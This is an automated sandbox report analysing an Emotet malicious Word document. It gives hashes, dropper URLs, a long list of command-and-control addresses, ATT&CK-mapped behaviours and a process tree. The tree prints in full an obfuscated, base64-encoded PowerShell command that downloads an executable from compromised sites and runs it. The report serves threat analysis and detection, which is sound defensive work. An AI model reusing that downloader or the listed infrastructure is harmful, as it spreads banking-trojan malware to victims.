emotet | b1da96b89b75a32fe77e9bf1843f1d58ff494b6c23b40f52e721fc145f3c35b8

Analysis

max time kernel
136s
max time network
145s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 23:12

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General

Target
emotet_e1_b1da96b89b75a32fe77e9bf1843f1d58ff494b6c23b40f52e721fc145f3c35b8_2020-09-22__231006708319._doc.doc
Size 162KB
Sample200922-e5vsfn4n4s
SHA256 b1da96b89b75a32fe77e9bf1843f1d58ff494b6c23b40f52e721fc145f3c35b8
MD5 46e0ebaf52f1ecc89839bfccc054fd3c
SHA1 1f4d19673a79dcc969e7b310141495dcd5135dbb
SHA512 0b26aa89dc492984377fad7b80182880f455db2586251e0c73279617ebdedb7b69ccf2fead254bb44fe79dd521ed77d821d9cd80b7211215bcf56759d1233707
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://vuatritue.com/wp-admin/w/
exe.dropper
http://castlestudios.com/bots/7/
exe.dropper
https://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/
exe.dropper
http://brandstrumpet-001-site1.ctempurl.com/default/lnD/
exe.dropper
http://oneinsix.com/test/u/
exe.dropper
http://livefarma.com/wp-content/hpu/
exe.dropper
http://datawyse.net/cgi-bin/8/

Extracted

Family

emotet

192.81.38.31:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
54.37.42.48:8080
2.36.95.106:80
186.103.141.250:443
192.241.146.84:8080
94.176.234.118:443
12.162.84.2:8080
82.230.1.24:80
98.13.75.196:80
190.190.148.27:8080
177.129.17.170:443
202.4.58.197:80
77.90.136.129:8080
77.106.157.34:8080
95.9.180.128:80
83.169.21.32:7080
212.71.237.140:8080
77.238.212.227:80
201.213.177.139:80
78.249.119.122:80
50.28.51.143:8080
80.11.164.185:80
51.38.124.206:80
216.47.196.104:80
174.113.69.136:80
76.168.54.203:80
137.74.106.111:7080
67.247.242.247:80
217.199.160.224:7080
209.236.123.42:8080
199.203.62.165:80
185.94.252.27:443
192.241.143.52:8080
61.92.159.208:8080
185.178.10.77:80
123.51.47.18:80
190.24.243.186:80
64.201.88.132:80
51.15.7.189:80
177.73.0.98:443
74.58.215.226:80
60.93.23.51:80
187.162.248.237:80
152.169.22.67:80
38.88.126.202:8080
91.105.94.200:80
190.163.31.26:80
185.94.252.12:80
170.81.48.2:80
190.2.31.172:80
45.33.77.42:8080
111.67.77.202:8080
190.117.79.209:80
51.255.165.160:8080
110.142.219.51:80
45.16.226.117:443
92.24.50.153:80
178.250.54.208:8080
50.121.220.50:80
181.30.61.163:443
220.109.145.69:80
119.106.216.84:80
191.182.6.118:80
1.226.84.243:8080
87.106.46.107:8080
172.104.169.32:8080
204.225.249.100:7080
82.76.111.249:443
185.183.16.47:80
96.227.52.8:443
190.115.18.139:8080
104.131.103.37:8080
70.32.84.74:8080
186.70.127.199:8090
111.67.12.221:8080
96.245.123.149:80
138.97.60.141:7080
61.197.92.216:80
190.6.193.152:8080
213.197.182.158:8080
45.46.37.97:80
217.13.106.14:8080
104.131.41.185:8080
155.186.0.121:80
51.159.23.217:443
74.136.144.133:80
68.183.170.114:8080
70.32.115.157:8080
5.189.178.202:8080
35.143.99.174:80
5.196.35.138:7080
188.135.15.49:80
68.183.190.199:8080
177.74.228.34:80
185.215.227.107:443
189.2.177.210:443
72.47.248.48:7080
219.92.13.25:80
185.232.182.218:80
65.36.62.20:80
68.69.155.181:80
181.129.96.162:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3296	3004	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/748-17-0x00000000005C0000-0x00000000005D2000-memory.dmp	emotet
behavioral2/memory/748-17-0x00000000005C0000-0x00000000005D2000-memory.dmp	emotet
behavioral2/memory/748-18-0x00000000005E0000-0x00000000005F0000-memory.dmp	emotet
behavioral2/memory/748-18-0x00000000005E0000-0x00000000005F0000-memory.dmp	emotet
behavioral2/memory/2204-21-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/2204-21-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/2204-22-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/2204-22-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	3296	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
748	Lj3ffz.exe
2204	wmdrmsdk.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Netplwiz\wmdrmsdk.exe	Lj3ffz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3308	WINWORD.EXE
3308	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3296	POWeRsHeLL.exe
3296	POWeRsHeLL.exe
3296	POWeRsHeLL.exe
2204	wmdrmsdk.exe
2204	wmdrmsdk.exe
2204	wmdrmsdk.exe
2204	wmdrmsdk.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3296	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE
3308	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 748	3296	POWeRsHeLL.exe	79
PID 3296 wrote to memory of 748	3296	POWeRsHeLL.exe	79
PID 3296 wrote to memory of 748	3296	POWeRsHeLL.exe	79
PID 748 wrote to memory of 2204	748	Lj3ffz.exe	80
PID 748 wrote to memory of 2204	748	Lj3ffz.exe	80
PID 748 wrote to memory of 2204	748	Lj3ffz.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b1da96b89b75a32fe77e9bf1843f1d58ff494b6c23b40f52e721fc145f3c35b8_2020-09-22__231006708319._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3308

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABIAGkAagBxAGYAZAB4AD0AKAAnAFEAcQAnACsAKAAnAGMAdAAyACcAKwAnAGwAJwApACsAJwB6ACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBTAGUAUgBwAHIAbwBGAGkAbABFAFwAYQAwAHgAVwBuAG4ANwBcAEIASwA3AEIAQwBGAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAUgBJAGAAVABgAFkAYABQAHIAbwB0AGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACwAJwArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABLADYAYwB5AHkAOQBuACAAPQAgACgAKAAnAEwAJwArACcAagAzACcAKQArACgAJwBmAGYAJwArACcAegAnACkAKQA7ACQAVwA4ADYAXwAwAHUAZwA9ACgAKAAnAEcAdQAnACsAJwB2AG8AJwApACsAKAAnAHEAJwArACcAeQA5ACcAKQApADsAJABGADMAMwBhAGkAcABoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFEAJwArACgAJwA1ADgAJwArACcAQQAnACkAKwAoACcAMAAnACsAJwB4AHcAJwApACsAKAAnAG4AbgAnACsAJwA3ACcAKQArACgAJwBRADUAOAAnACsAJwBCAGsANwBiACcAKQArACgAJwBjAGYAawBRADUAJwArACcAOAAnACkAKQAuACIAUgBFAFAAYABMAGEAYwBlACIAKAAoACcAUQA1ACcAKwAnADgAJwApACwAWwBzAFQAcgBpAG4AZwBdAFsAYwBoAGEAcgBdADkAMgApACkAKwAkAEsANgBjAHkAeQA5AG4AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABZAGwAcgBfADkAbABtAD0AKAAnAFQAJwArACgAJwB2ADEAJwArACcAdwA0AG4AJwApACsAJwBmACcAKQA7ACQARwB2ADgAcgBoADgAZQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AdAA7ACQAUAA2ADQAcgBvADQAMAA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AdgB1AGEAJwArACcAdAByAGkAdAAnACkAKwAoACcAdQAnACsAJwBlAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZABtAGkAbgAnACsAJwAvAHcAJwArACcALwAnACkAKwAoACcAKgBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBjAGEAcwAnACsAJwB0AGwAZQBzACcAKQArACgAJwB0AHUAZABpACcAKwAnAG8AcwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AJwArACgAJwBiAG8AJwArACcAdABzAC8ANwAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACcAOgAnACsAKAAnAC8ALwB3AHcAJwArACcAdwAnACsAJwAuAGEAJwApACsAKAAnAGYAcgAnACsAJwBpAHEAJwApACsAKAAnAHUAZQAnACsAJwBpAG4AZAAnACkAKwAoACcAdQAnACsAJwBzAHQAcgAnACsAJwBpAGUAcwAnACkAKwAnAC0AJwArACgAJwBzAGEALgAnACsAJwBjACcAKwAnAG8AbQAvACcAKwAnAG8AbwB0AHEAZwB0ACcAKQArACcAYgAnACsAKAAnAGcAJwArACcAdQB0AGcAJwApACsAJwBxAGsAJwArACcAeAAnACsAKAAnAGYAcQAvAGQAUwAnACsAJwA5ACcAKQArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBiACcAKwAnAHIAYQBuAGQAJwArACcAcwB0ACcAKQArACgAJwByAHUAJwArACcAbQBwAGUAdAAnACsAJwAtACcAKQArACgAJwAwADAAJwArACcAMQAnACkAKwAoACcALQBzAGkAJwArACcAdAAnACkAKwAnAGUAJwArACgAJwAxACcAKwAnAC4AJwArACcAYwB0AGUAbQBwAHUAJwApACsAKAAnAHIAbAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACgAJwBkACcAKwAnAGUAZgBhAHUAbAAnACsAJwB0AC8AJwArACcAbABuACcAKwAnAEQALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG8AbgBlAGkAJwArACcAbgAnACkAKwAoACcAcwBpAHgALgBjAG8AbQAvAHQAJwArACcAZQAnACsAJwBzAHQAJwApACsAKAAnAC8AJwArACcAdQAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAaQB2ACcAKwAnAGUAZgBhAHIAbQAnACkAKwAoACcAYQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgB0AC8AaAAnACsAJwBwAHUALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AZABhACcAKQArACgAJwB0AGEAdwB5AHMAJwArACcAZQAuACcAKQArACgAJwBuACcAKwAnAGUAdAAvACcAKQArACgAJwBjAGcAJwArACcAaQAtAGIAaQBuAC8AOAAnACsAJwAvACcAKQApAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAOQBwAHQAawBlAHoAPQAoACcATQBmACcAKwAnADQAXwAnACsAKAAnAGYAOAAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgA0AGkANABkADMAbAAgAGkAbgAgACQAUAA2ADQAcgBvADQAMAApAHsAdAByAHkAewAkAEcAdgA4AHIAaAA4AGUALgAiAEQAbwB3AGAATgBMAG8AYQBkAGAARgBpAEwARQAiACgAJABCADQAaQA0AGQAMwBsACwAIAAkAEYAMwAzAGEAaQBwAGgAKQA7ACQATQBxADYANQB5ADEAbgA9ACgAKAAnAE8AegBpACcAKwAnAG4ANgAnACkAKwAnAHUAcwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQARgAzADMAYQBpAHAAaAApAC4AIgBsAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMANwA5ADkAMwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABGADMAMwBhAGkAcABoACkAOwAkAEcANABzAGoAcAB1ADQAPQAoACcAVwAnACsAKAAnAHQANABzACcAKwAnAG4AYQAnACsAJwA1ACcAKQApADsAYgByAGUAYQBrADsAJABGAGUAbQB0AGwAeQA3AD0AKAAnAFcAMAAnACsAKAAnAHYAJwArACcANwBtACcAKQArACcAMwA4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB1ADgAZAAyAGkAYwA9ACgAJwBCAGgAJwArACgAJwA0ACcAKwAnAGgAdQAnACkAKwAnAGIAaQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Users\Admin\A0xwnn7\Bk7bcfk\Lj3ffz.exe
  "C:\Users\Admin\A0xwnn7\Bk7bcfk\Lj3ffz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Windows\SysWOW64\Netplwiz\wmdrmsdk.exe
    "C:\Windows\SysWOW64\Netplwiz\wmdrmsdk.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2204

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/748-18-0x00000000005E0000-0x00000000005F0000-memory.dmp

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memory/748-17-0x00000000005C0000-0x00000000005D2000-memory.dmp

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memory/2204-21-0x0000000000580000-0x0000000000592000-memory.dmp

Download

memory/2204-22-0x00000000005A0000-0x00000000005B0000-memory.dmp

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memory/3296-13-0x0000023D52FF0000-0x0000023D52FF1000-memory.dmp

Download

memory/3296-12-0x0000023D52EC0000-0x0000023D52EC1000-memory.dmp

Download

memory/3296-11-0x00007FFE7F300000-0x00007FFE7FCEC000-memory.dmp

Download

memory/3308-0-0x000001F84CD90000-0x000001F84D456000-memory.dmp

Download